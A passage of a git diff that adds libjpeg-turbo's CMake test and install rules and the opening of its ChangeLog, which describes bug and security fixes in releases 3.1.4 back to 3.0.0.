${MD5_PPM_444_ISLOW_PROG_CROP98x98_13_13} + ${cjpeg}-${libtype}-444-islow-prog) + + # Context rows: No Intra-iMCU row: No ENT: arith + if(WITH_ARITH_ENC AND sample_bits EQUAL 8) + add_test(NAME ${cjpeg}-${libtype}-444-islow-ari + COMMAND cjpeg${suffix} -dct int -arithmetic -sample 1x1 + -precision ${sample_bits} -outfile ${testout}_444_islow_ari.jpg + ${TESTIMAGES}/testorig.ppm) + if(WITH_ARITH_DEC) + add_bittest(${djpeg} 444-islow-ari-crop37x37_0_0 + "-dct;int;-crop;37x37+0+0;-ppm" + ${testout}_444_islow_ari_crop37x37,0,0.ppm + ${testout}_444_islow_ari.jpg ${MD5_PPM_444_ISLOW_ARI_CROP37x37_0_0} + ${cjpeg}-${libtype}-444-islow-ari) + endif() + endif() + + add_bittest(${jpegtran} crop "-crop;120x90+20+50;-transpose;-perfect" + ${testout}_crop.jpg ${TESTIMAGES}/${TESTORIG} + ${MD5_JPEG_CROP}) + + unset(EXAMPLE_12BIT_ARG) + if(sample_bits EQUAL 12) + set(EXAMPLE_12BIT_ARG "-precision;12") + endif() + + add_test(NAME example-${sample_bits}bit-${libtype}-compress + COMMAND example${suffix} compress -q 95 ${EXAMPLE_12BIT_ARG} + ${testout}-example.jpg) + add_test(NAME example-${sample_bits}bit-${libtype}-compress-cmp + COMMAND md5cmp ${MD5_JPEG_EXAMPLE_COMPRESS} ${testout}-example.jpg) + set_tests_properties(example-${sample_bits}bit-${libtype}-compress-cmp + PROPERTIES DEPENDS example-${sample_bits}bit-${libtype}-compress) + + add_test(NAME example-${sample_bits}bit-${libtype}-decompress + COMMAND example${suffix} decompress ${EXAMPLE_12BIT_ARG} + ${TESTIMAGES}/${TESTORIG} ${testout}-example.ppm) + add_test(NAME example-${sample_bits}bit-${libtype}-decompress-cmp + COMMAND md5cmp ${MD5_PPM_EXAMPLE_DECOMPRESS} ${testout}-example.ppm) + set_tests_properties(example-${sample_bits}bit-${libtype}-decompress-cmp + PROPERTIES DEPENDS example-${sample_bits}bit-${libtype}-decompress) + + endforeach() + +endforeach() + +add_custom_target(testclean COMMAND ${CMAKE_COMMAND} -P + ${CMAKE_CURRENT_SOURCE_DIR}/cmakescripts/testclean.cmake) + +configure_file(test/croptest.in test/croptest @ONLY) +add_custom_target(croptest + COMMAND echo croptest + COMMAND ${BASH} ${CMAKE_CURRENT_BINARY_DIR}/test/croptest) + +if(WITH_TURBOJPEG) + configure_file(test/tjbenchtest.in test/tjbenchtest @ONLY) + configure_file(test/tjcomptest.in test/tjcomptest @ONLY) + configure_file(test/tjdecomptest.in test/tjdecomptest @ONLY) + configure_file(test/tjtrantest.in test/tjtrantest @ONLY) + if(WIN32) + set(BASH bash) + endif() + add_custom_target(tjtest COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=8 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + DEPENDS ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + ${CMAKE_CURRENT_BINARY_DIR}/test/tjbenchtest) + add_custom_target(tjtest12 COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=12 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + DEPENDS ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + ${CMAKE_CURRENT_BINARY_DIR}/test/tjbenchtest) + add_custom_target(tjtest16 COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=2 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=3 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=4 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=5 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=6 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=7 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=9 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=10 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=11 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=13 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=14 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=15 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + COMMAND ${CMAKE_COMMAND} -DWITH_JAVA=${WITH_JAVA} + -DPRECISION=16 -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + DEPENDS ${CMAKE_SOURCE_DIR}/cmakescripts/tjbenchtest.cmake + ${CMAKE_CURRENT_BINARY_DIR}/test/tjbenchtest) + add_custom_target(tjexampletest COMMAND ${CMAKE_COMMAND} + -DWITH_JAVA=${WITH_JAVA} + -P ${CMAKE_SOURCE_DIR}/cmakescripts/tjexampletest.cmake + DEPENDS ${CMAKE_SOURCE_DIR}/cmakescripts/tjexampletest.cmake + ${CMAKE_CURRENT_BINARY_DIR}/test/tjcomptest + ${CMAKE_CURRENT_BINARY_DIR}/test/tjdecomptest + ${CMAKE_CURRENT_BINARY_DIR}/test/tjtrantest) +endif() + +endif() # WITH_TESTS + + +############################################################################### +# INSTALLATION +############################################################################### + +set(EXE ${CMAKE_EXECUTABLE_SUFFIX}) + +if(WITH_TURBOJPEG) + if(ENABLE_SHARED) + install(TARGETS turbojpeg EXPORT ${CMAKE_PROJECT_NAME}Targets + INCLUDES DESTINATION ${CMAKE_INSTALL_FULL_INCLUDEDIR} + ARCHIVE DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR} COMPONENT lib + LIBRARY DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR} COMPONENT lib + RUNTIME DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin) + if(WITH_TOOLS) + install(TARGETS tjbench + RUNTIME DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin) + endif() + if(NOT CMAKE_VERSION VERSION_LESS "3.1" AND MSVC_LIKE AND + CMAKE_C_LINKER_SUPPORTS_PDB) + install(FILES "$" + DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin OPTIONAL) + endif() + endif() + if(ENABLE_STATIC) + install(TARGETS turbojpeg-static EXPORT ${CMAKE_PROJECT_NAME}Targets + INCLUDES DESTINATION ${CMAKE_INSTALL_FULL_INCLUDEDIR} + ARCHIVE DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR} COMPONENT lib) + if(NOT ENABLE_SHARED) + if(GENERATOR_IS_MULTI_CONFIG) + set(DIR "${CMAKE_CURRENT_BINARY_DIR}/\${CMAKE_INSTALL_CONFIG_NAME}") + else() + set(DIR ${CMAKE_CURRENT_BINARY_DIR}) + endif() + if(WITH_TOOLS) + install(PROGRAMS ${DIR}/tjbench-static${EXE} + DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin + RENAME tjbench${EXE}) + endif() + endif() + endif() + install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/src/turbojpeg.h + DESTINATION ${CMAKE_INSTALL_FULL_INCLUDEDIR} COMPONENT include) +endif() + +if(ENABLE_STATIC) + install(TARGETS jpeg-static EXPORT ${CMAKE_PROJECT_NAME}Targets + INCLUDES DESTINATION ${CMAKE_INSTALL_FULL_INCLUDEDIR} + ARCHIVE DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR} COMPONENT lib) + if(NOT ENABLE_SHARED) + if(GENERATOR_IS_MULTI_CONFIG) + set(DIR "${CMAKE_CURRENT_BINARY_DIR}/\${CMAKE_INSTALL_CONFIG_NAME}") + else() + set(DIR ${CMAKE_CURRENT_BINARY_DIR}) + endif() + if(WITH_TOOLS) + install(PROGRAMS ${DIR}/cjpeg-static${EXE} + DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin + RENAME cjpeg${EXE}) + install(PROGRAMS ${DIR}/djpeg-static${EXE} + DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin + RENAME djpeg${EXE}) + install(PROGRAMS ${DIR}/jpegtran-static${EXE} + DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin + RENAME jpegtran${EXE}) + endif() + endif() +endif() + +if(WITH_TOOLS) + install(TARGETS rdjpgcom wrjpgcom + RUNTIME DESTINATION ${CMAKE_INSTALL_FULL_BINDIR} COMPONENT bin) +endif() + +install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/README.ijg + ${CMAKE_CURRENT_SOURCE_DIR}/README.md + ${CMAKE_CURRENT_SOURCE_DIR}/src/example.c + ${CMAKE_CURRENT_SOURCE_DIR}/doc/libjpeg.txt + ${CMAKE_CURRENT_SOURCE_DIR}/doc/structure.txt + ${CMAKE_CURRENT_SOURCE_DIR}/doc/usage.txt + ${CMAKE_CURRENT_SOURCE_DIR}/doc/wizard.txt + ${CMAKE_CURRENT_SOURCE_DIR}/LICENSE.md + DESTINATION ${CMAKE_INSTALL_FULL_DOCDIR} COMPONENT doc) +if(WITH_TURBOJPEG) + install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/src/tjcomp.c + ${CMAKE_CURRENT_SOURCE_DIR}/src/tjdecomp.c + ${CMAKE_CURRENT_SOURCE_DIR}/src/tjtran.c + DESTINATION ${CMAKE_INSTALL_FULL_DOCDIR} COMPONENT doc) +endif() +if(WITH_JAVA) + install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/java/TJComp.java + ${CMAKE_CURRENT_SOURCE_DIR}/java/TJDecomp.java + ${CMAKE_CURRENT_SOURCE_DIR}/java/TJTran.java + DESTINATION ${CMAKE_INSTALL_FULL_DOCDIR} COMPONENT doc) +endif() + +if(UNIX OR MINGW) + if(WITH_TOOLS) + install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/doc/cjpeg.1 + ${CMAKE_CURRENT_SOURCE_DIR}/doc/djpeg.1 + ${CMAKE_CURRENT_SOURCE_DIR}/doc/jpegtran.1 + ${CMAKE_CURRENT_SOURCE_DIR}/doc/rdjpgcom.1 + ${CMAKE_CURRENT_SOURCE_DIR}/doc/wrjpgcom.1 + DESTINATION ${CMAKE_INSTALL_FULL_MANDIR}/man1 COMPONENT man) + endif() +endif() +install(FILES ${CMAKE_CURRENT_BINARY_DIR}/pkgscripts/libjpeg.pc + DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR}/pkgconfig COMPONENT lib) +if(WITH_TURBOJPEG) + install(FILES ${CMAKE_CURRENT_BINARY_DIR}/pkgscripts/libturbojpeg.pc + DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR}/pkgconfig COMPONENT lib) +endif() +install(FILES + ${CMAKE_CURRENT_BINARY_DIR}/pkgscripts/${CMAKE_PROJECT_NAME}Config.cmake + ${CMAKE_CURRENT_BINARY_DIR}/pkgscripts/${CMAKE_PROJECT_NAME}ConfigVersion.cmake + DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR}/cmake/${CMAKE_PROJECT_NAME} + COMPONENT lib) +install(EXPORT ${CMAKE_PROJECT_NAME}Targets + NAMESPACE ${CMAKE_PROJECT_NAME}:: + DESTINATION ${CMAKE_INSTALL_FULL_LIBDIR}/cmake/${CMAKE_PROJECT_NAME} + COMPONENT lib) + +install(FILES ${CMAKE_CURRENT_BINARY_DIR}/jconfig.h + ${CMAKE_CURRENT_SOURCE_DIR}/src/jerror.h + ${CMAKE_CURRENT_SOURCE_DIR}/src/jmorecfg.h + ${CMAKE_CURRENT_SOURCE_DIR}/src/jpeglib.h + DESTINATION ${CMAKE_INSTALL_FULL_INCLUDEDIR} COMPONENT include) + +include(cmakescripts/BuildPackages.cmake) + +configure_file("${CMAKE_CURRENT_SOURCE_DIR}/cmakescripts/cmake_uninstall.cmake.in" + "cmake_uninstall.cmake" IMMEDIATE @ONLY) + +add_custom_target(uninstall COMMAND ${CMAKE_COMMAND} -P cmake_uninstall.cmake) diff --git a/lib/libjpeg-turbo/ChangeLog.md b/lib/libjpeg-turbo/ChangeLog.md new file mode 100755 index 0000000..db2cc41 --- /dev/null +++ b/lib/libjpeg-turbo/ChangeLog.md @@ -0,0 +1,2506 @@ +3.1.4 +===== + +### Significant changes relative to 3.1.3: + +1. Fixed an issue in the TurboJPEG 2.x compatibility wrapper whereby, if a +calling program attempted to decompress a lossless JPEG image using +`tjDecompress2()` with decompression scaling, the decompressed image was +unexpectedly unscaled. This could have led to a buffer overrun if the caller +allocated the packed-pixel destination buffer based on the assumption that the +decompressed image would be scaled down. + +2. The SIMD dispatchers now use `getauxval()` or `elf_aux_info()`, if +available, to detect support for Neon and AltiVec instructions on AArch32 and +PowerPC Linux, Android, and *BSD systems. + +3. Hardened the libjpeg API against hypothetical applications that may +erroneously set one of the exposed quantization table values to 0 just before +calling `jpeg_start_compress()`. (This would never happen in a +correctly-written program, because `jpeg_add_quant_table()` clamps all values +less than 1.) + +4. Fixed a division-by-zero error that occurred when attempting to use the +jpegtran `-drop` option with a specially-crafted malformed drop image +(specifically an image in which one or more of the quantization table values +was 0.) + + +3.1.3 +===== + +### Significant changes relative to 3.1.2: + +1. Hardened the TurboJPEG API against hypothetical applications that may +erroneously call `tj*Compress*()` or `tj*Transform()` with a reused JPEG +destination buffer pointer while specifying a destination buffer size of 0. + +2. Hardened the TurboJPEG API against hypothetical applications that may +erroneously set `TJPARAM_LOSSLESS` or `TJPARAM_COLORSPACE` prior to calling +`tj3EncodeYUV*8()` or `tj3CompressFromYUV*8()`. `tj3EncodeYUV*8()` and +`tj3CompressFromYUV*8()` now ignore `TJPARAM_LOSSLESS` and +`TJPARAM_COLORSPACE`. + +3. Hardened the TurboJPEG Java API against hypothetical applications that may +erroneously pass huge X or Y offsets to one of the compression, YUV encoding, +decompression, or YUV decoding methods, leading to signed integer overflow in +the JNI wrapper's buffer size checks that rendered those checks ineffective. + +4. Fixed an issue in the TurboJPEG Java API whereby +`TJCompressor.getSourceBuf()` sometimes returned the buffer from a previous +invocation of `TJCompressor.loadSourceImage()` if the target data precision was +changed before the most recent invocation. + +5. Fixed an issue in the PPM reader that caused incorrect pixels to be +generated when using `tj3LoadImage*()` or `TJCompressor.loadSourceImage()` to +load a PBMPLUS (PPM/PGM) file into a CMYK buffer with a different data +precision than that of the file. + + +3.1.2 +===== + +### Significant changes relative to 3.1.1: + +1. Fixed a regression introduced by 3.1 beta1[5] that caused a segfault in +TJBench if `-copy` or `-c` was passed as the last command-line argument. + +2. The build system now uses wrappers rather than CMake object libraries to +compile source files for multiple data precisions. This improves code +readability and facilitates adapting the libjpeg-turbo source code to non-CMake +build systems. + +3. Fixed an issue whereby decompressing a 4:2:0 or 4:2:2 JPEG image with merged +upsampling disabled/one-pass color quantization enabled, then reusing the same +API instance to decompress a 4:2:0 or 4:2:2 JPEG image with merged upsampling +enabled/color quantization disabled, caused `jpeg_skip_scanlines()` to use +freed memory. In practice, the freed memory was not reclaimed before it was +used. Thus, this issue did not cause a segfault or other user-visible errant +behavior (it was only detectable with ASan), and it did not likely pose a +security risk. + +4. The AArch64 (Arm 64-bit) Neon SIMD extensions and accelerated Huffman codec +now support the Arm64EC ABI on Windows, which allows Windows/x64 applications +to call native Arm64 functions when running under the Windows/x64 emulator on +Windows/Arm. + + +3.1.1 +===== + +### Significant changes relative to 3.1.0: + +1. Hardened the libjpeg API against hypothetical calling applications that may +erroneously change the value of the `data_precision` field in +`jpeg_compress_struct` or `jpeg_decompress_struct` after calling +`jpeg_start_compress()` or `jpeg_start_decompress()`. + + +3.1.0 +===== + +### Significant changes relative to 3.1 beta1: + +1. Fixed an issue in the TurboJPEG API whereby, when generating a +lossless JPEG image with more than 8 bits per sample, specifying a point +transform value greater than 7 resulted in an error ("Parameter value out of +range") unless `TJPARAM_PRECISION`/`TJ.PARAM_PRECISION` was specified before +`TJPARAM_LOSSLESSPT`/`TJ.PARAM_LOSSLESSPT`. + +2. Fixed a regression introduced by 1.4 beta1[3] that prevented +`jpeg_set_defaults()` from resetting the Huffman tables to default (baseline) +values if Huffman table optimization or progressive mode was previously enabled +in the same libjpeg instance. + +3. Fixed an issue whereby lossless JPEG compression could not be disabled if it +was previously enabled in a libjpeg or TurboJPEG instance. +`jpeg_set_defaults()` now disables lossless JPEG compression in a libjpeg +instance, and setting `TJPARAM_LOSSLESS`/`TJ.PARAM_LOSSLESS` to `0` now +disables lossless JPEG compression in a TurboJPEG instance. + + +3.0.90 (3.1 beta1) +================== + +### Significant changes relative to 3.0.4: + +1. The libjpeg-turbo source tree has been reorganized to make it easier to find +the README files, license information, and build instructions. The +documentation for the libjpeg API library and associated programs has been +moved into the **doc/** subdirectory, all C source code and headers have been +moved into a new **src/** subdirectory, and test scripts have been moved into a +new **test/** subdirectory. + +2. cjpeg no longer allows GIF input files to be converted into +12-bit-per-sample JPEG files. That was never a useful feature, since GIF +images have at most 256 colors referenced from a palette of 8-bit-per-component +RGB values. + +3. Added support for lossless JPEG images with 2 to 15 bits per sample to the +libjpeg and TurboJPEG APIs. When creating or decompressing a lossless JPEG +image and when loading or saving a PBMPLUS image, functions/methods specific to +8-bit samples now handle 8-bit samples with 2 to 8 bits of data precision +(specified using the `data_precision` field in `jpeg_compress_struct` or +`jpeg_decompress_struct` or using `TJPARAM_PRECISION`/`TJ.PARAM_PRECISION`), +functions/methods specific to 12-bit samples now handle 12-bit samples with 9 +to 12 bits of data precision, and functions/methods specific to 16-bit samples +now handle 16-bit samples with 13 to 16 bits of data precision. Refer to +[libjpeg.txt](doc/libjpeg.txt), [usage.txt](doc/usage.txt), and the TurboJPEG +API documentation for more details. + +4. All deprecated constants and methods in the TurboJPEG Java API have been +removed. + +5. TJBench command-line arguments are now more consistent with those of cjpeg, +djpeg, and jpegtran. More specifically: + + - `-copynone` has been replaced with `-copy none`. + - `-fastdct` has been replaced with `-dct fast`. + - `-fastupsample` has been replaced with `-nosmooth`. + - `-hflip` and `-vflip` have been replaced with +`-flip {horizontal|vertical}`. + - `-limitscans` has been replaced with `-maxscans`, which allows the scan +limit to be specified. + - `-rgb`, `-bgr`, `-rgbx`, `-bgrx`, `-xbgr`, `-xrgb`, and `-cmyk` have +been replaced with `-pixelformat {rgb|bgr|rgbx|bgrx|xbgr|xrgb|cmyk}`. + - `-rot90`, `-rot180`, and `-rot270` have been replaced with +`-rotate {90|180|270}`. + - `-stoponwarning` has been replaced with `-strict`. + - British spellings for `gray` (`grey`) and `optimize` (`optimise`) are +now allowed. + + The old command-line arguments are deprecated and will be removed in a +future release. TJBench command-line arguments can now be abbreviated as well. +(Where possible, the abbreviations are the same as those supported by cjpeg, +djpeg, and jpegtran.) + +6. Added a new TJBench option (`-pixelformat gray`) that can be used to test +the performance of compressing/decompressing a grayscale JPEG image from/to a +packed-pixel grayscale image. + +7. Fixed an issue whereby, if `TJPARAM_NOREALLOC` was set, TurboJPEG +compression and lossless transformation functions ignored the JPEG buffer +size(s) passed to them and assumed that the JPEG buffer(s) had been allocated +to a worst-case size returned by `tj3JPEGBufSize()`. This behavior was never +documented, although the documentation was unclear regarding whether the JPEG +buffer size should be specified if a JPEG buffer is pre-allocated to a +worst-case size. + +8. The TurboJPEG C and Java APIs have been improved in the following ways: + + - New image I/O methods (`TJCompressor.loadSourceImage()` and +`TJDecompressor.saveImage()`) have been added to the Java API. These methods +work similarly to the `tj3LoadImage*()` and `tj3SaveImage*()` functions in the +C API. + - The TurboJPEG lossless transformation function and methods now add +restart markers to all destination images if +`TJPARAM_RESTARTBLOCKS`/`TJ.PARAM_RESTARTBLOCKS` or +`TJPARAM_RESTARTROWS`/`TJ.PARAM_RESTARTROWS` is set. + - New functions/methods (`tj3SetICCProfile()` / +`TJCompressor.setICCProfile()` / `TJTransformer.setICCProfile()` and +`tj3GetICCProfile()` / `TJDecompressor.getICCProfile()`) can be used to embed +and retrieve ICC profiles. + - A new parameter (`TJPARAM_SAVEMARKERS`/`TJ.PARAM_SAVEMARKERS`) can be +used to specify the types of markers that will be copied from the source image +to the destination image during lossless transformation if +`TJXOPT_COPYNONE`/`TJTransform.OPT_COPYNONE` is not specified. + - A new convenience function/method (`tj3TransformBufSize()` / +`TJTransformer.bufSize()`) can be used to compute the worst-case destination +buffer size for a given lossless transform, taking into account cropping, +transposition of the width and height, grayscale conversion, and the embedded +or extracted ICC profile. + +9. TJExample has been replaced with three programs (TJComp, TJDecomp, and +TJTran) that demonstrate how to approximate the functionality of cjpeg, djpeg, +and jpegtran using the TurboJPEG C and Java APIs. + + +3.0.4 +===== + +### Significant changes relative to 3.0.3: + +1. Fixed an issue whereby the CPU usage of the default marker processor in the +decompressor grew exponentially with the number of markers. This caused an +unreasonable slow-down in `jpeg_read_header()` if an application called +`jpeg_save_markers()` to save markers of a particular type and then attempted +to decompress a JPEG image containing an excessive number of markers of that +type. + +2. Hardened the default marker processor in the decompressor to guard against +an issue (exposed by 3.0 beta2[6]) whereby attempting to decompress a +specially-crafted malformed JPEG image (specifically an image with a complete +12-bit-per-sample Start Of Frame segment followed by an incomplete +8-bit-per-sample Start Of Frame segment) using buffered-image mode and input +prefetching caused a segfault if the `fill_input_buffer()` method in the +calling application's custom source manager incorrectly returned `FALSE` in +response to a prematurely-terminated JPEG data stream. + +3. Fixed an issue in cjpeg whereby, when generating a 12-bit-per-sample or +16-bit-per-sample lossless JPEG image, specifying a point transform value +greater than 7 resulted in an error ("Invalid progressive/lossless parameters") +unless the `-precision` option was specified before the `-lossless` option. + +4. Fixed a regression introduced by 3.0.3[3] that made it impossible for +calling applications to generate 12-bit-per-sample arithmetic-coded lossy JPEG +images using the TurboJPEG API. + +5. Fixed an error ("Destination buffer is not large enough") that occurred when +attempting to generate a full-color lossless JPEG image using the TurboJPEG +Java API's `byte[] TJCompressor.compress()` method if the value of +`TJ.PARAM_SUBSAMP` was not `TJ.SAMP_444`. + +6. Fixed a segfault in djpeg that occurred if a negative width was specified +with the `-crop` option. Since the cropping region width was read into an +unsigned 32-bit integer, a negative width was interpreted as a very large +value. With certain negative width and positive left boundary values, the +bounds checks in djpeg and `jpeg_crop_scanline()` overflowed and did not detect +the out-of-bounds width, which caused a buffer overrun in the upsampling or +color conversion routine. Both bounds checks now use 64-bit integers to guard +against overflow, and djpeg now checks for negative numbers when it parses the +crop specification from the command line. + +7. Fixed an issue whereby the TurboJPEG lossless transformation function and +methods checked the specified cropping region against the source image +dimensions and level of chrominance subsampling rather than the destination +image dimensions and level of chrominance subsampling, which caused some +cropping regions to be unduly rejected when performing 90-degree rotation, +270-degree rotation, transposition, transverse transposition, or grayscale +conversion. + +8. Fixed a regression, introduced by 3.0 beta2[4], that prevented the +`tjTransform()` backward compatibility function from copying extra markers from +the source image to the destination image. + +9. Fixed an issue whereby the TurboJPEG lossless transformation function and +methods did not honor `TJXOPT_COPYNONE`/`TJTransform.OPT_COPYNONE` unless it +was specified for all lossless transforms. + + +3.0.3 +===== + +### Significant changes relative to 3.0.2: + +1. Fixed an issue in the build system, introduced in 3.0.2, that caused all +libjpeg-turbo components to depend on the Visual C++ run-time DLL when built +with Visual C++ and CMake 3.15 or later, regardless of value of the +`WITH_CRT_DLL` CMake variable. + +2. The x86-64 SIMD extensions now include support for Intel Control-flow +Enforcement Technology (CET), which is enabled automatically if CET is enabled +in the C compiler. + +3. Fixed a regression introduced by 3.0 beta2[6] that made it impossible for +calling applications to supply custom Huffman tables when generating +12-bit-per-component lossy JPEG images using the libjpeg API. + +4. Fixed a segfault that occurred when attempting to use the jpegtran `-drop` +option with a specially-crafted malformed input image or drop image +(specifically an image in which all of the scans contain fewer components than +the number of components specified in the Start Of Frame segment.) + + +3.0.2 +===== + +### Significant changes relative to 3.0.1: + +1. Fixed a signed integer overflow in the `tj3CompressFromYUV8()`, +`tj3DecodeYUV8()`, `tj3DecompressToYUV8()`, and `tj3EncodeYUV8()` functions, +detected by the Clang and GCC undefined behavior sanitizers, that could be +triggered by setting the `align` parameter to an unreasonably large value. +This issue did not pose a security threat, but removing the warning made it +easier to detect actual security issues, should they arise in the future. + +2. Introduced a new parameter (`TJPARAM_MAXMEMORY` in the TurboJPEG C API and +`TJ.PARAM_MAXMEMORY` in the TurboJPEG Java API) and a corresponding TJBench +option (`-maxmemory`) for specifying the maximum amount of memory (in +megabytes) that will be allocated for intermediate buffers, which are used with +progressive JPEG compression and decompression, Huffman table optimization, +lossless JPEG compression, and lossless transformation. The new parameter and +option serve the same purpose as the `max_memory_to_use` field in the +`jpeg_memory_mgr` struct in the libjpeg API, the `JPEGMEM` environment +variable, and the cjpeg/djpeg/jpegtran `-maxmemory` option. + +3. Introduced a new parameter (`TJPARAM_MAXPIXELS` in the TurboJPEG C API and +`TJ.PARAM_MAXPIXELS` in the TurboJPEG Java API) and a corresponding TJBench +option (`-maxpixels`) for specifying the maximum number of pixels that the +decompression, lossless transformation, and packed-pixel image loading +functions/methods will process. + +4. Fixed an error ("Unsupported color conversion request") that occurred when +attempting to decompress a 3-component lossless JPEG image without an Adobe +APP14 marker. The decompressor now assumes that a 3-component lossless JPEG +image without an Adobe APP14 marker uses the RGB colorspace if its component +IDs are 1, 2, and 3. + + +3.0.1 +===== + +### Significant changes relative to 3.0.0: + +1. The x86-64 SIMD functions now use a standard stack frame, prologue, and +epilogue so that debuggers and profilers can reliably capture backtraces from +within the functions. + +2. Fixed two minor issues in the interblock smoothing algorithm that caused +mathematical (but not necessarily perceptible) edge block errors when +decompressing progressive JPEG images exactly two DCT blocks in width or that +use vertical chrominance subsampling. + +3. Fixed a regression introduced by 3.0 beta2[6] that, in rare cases, caused +the C Huffman encoder (which is not used by default on x86 and Arm CPUs) to +generate incorrect results if the Neon SIMD extensions were explicitly disabled +at build time (by setting the `WITH_SIMD` CMake variable to `0`) in an AArch64 +build of libjpeg-turbo. + + +3.0.0 +===== + +### Significant changes relative to 3.0 beta2: + +1. The TurboJPEG API now supports 4:4:1 (transposed 4:1:1) chrominance +subsampling, which allows losslessly transposed or rotated 4:1:1 JPEG images to +be losslessly cropped, partially decompressed, or decompressed to planar YUV +images. + +2. Fixed various segfaults and buffer overruns (CVE-2023-2804) that occurred +when attempting to decompress various specially-crafted malformed +12-bit-per-component and 16-bit-per-component lossless JPEG images using color +quantization or merged chroma upsampling/color conversion. The underlying +cause of these issues was that the color quantization and merged chroma +upsampling/color conversion algorithms were not designed with lossless +decompression in mind. Since libjpeg-turbo explicitly does not support color +conversion when compressing or decompressing lossless JPEG images, merged +chroma upsampling/color conversion never should have been enabled for such +images. Color quantization is a legacy feature that serves little or no +purpose with lossless JPEG images, so it is also now disabled when +decompressing such images. (As a result, djpeg can no longer decompress a +lossless JPEG image into a GIF image.) + +3. Fixed an oversight in 1.4 beta1[8] that caused various segfaults and buffer +overruns when attempting to decompress various specially-crafted malformed +12-bit-per-component JPEG images using djpeg with both color quantization and +RGB565 color conversion enabled. + +4. Fixed an issue whereby `jpeg_crop_scanline()` sometimes miscalculated the +downsampled width for components with 4x2 or 2x4 subsampling factors if +decompression scaling was enabled. This caused the components to be upsampled +incompletely, which caused the color converter to read from uninitialized +memory. With 12-bit data precision, this caused a buffer overrun or underrun +and subsequent segfault if the sample value read from uninitialized memory was +outside of the valid sample range. + +5. Fixed a long-standing issue whereby the `tj3Transform()` function, when used +with the `TJXOP_TRANSPOSE`, `TJXOP_TRANSVERSE`, `TJXOP_ROT90`, or +`TJXOP_ROT270` transform operation and without automatic JPEG destination +buffer (re)allocation or lossless cropping, computed the worst-case transformed +JPEG image size based on the source image dimensions rather than the +transformed image dimensions. If a calling program allocated the JPEG +destination buffer based on the transformed image dimensions, as the API +documentation instructs, and attempted to transform a specially-crafted 4:2:2, +4:4:0, 4:1:1, or 4:4:1 JPEG source image containing a large amount of metadata, +the issue caused `tj3Transform()` to overflow the JPEG destination buffer +rather than fail gracefully. The issue could be worked around by setting +`TJXOPT_COPYNONE`. Note that, irrespective of this issue, `tj3Transform()` +cannot reliably transform JPEG source images that contain a large amount of +metadata unless automatic JPEG destination buffer (re)allocation is used or +`TJXOPT_COPYNONE` is set. + +6. Fixed a regression introduced by 3.0 beta2[6] that prevented the djpeg +`-map` option from working when decompressing 12-bit-per-component lossy JPEG +images. + +7. Fixed an issue that caused the C Huffman encoder (which is not used by +default on x86 and Arm CPUs) to read from uninitialized memory when attempting +to transform a specially-crafted malformed arithmetic-coded JPEG source image +into a baseline Huffman-coded JPEG destination image. + + +2.1.91 (3.0 beta2) +================== + +### Significant changes relative to 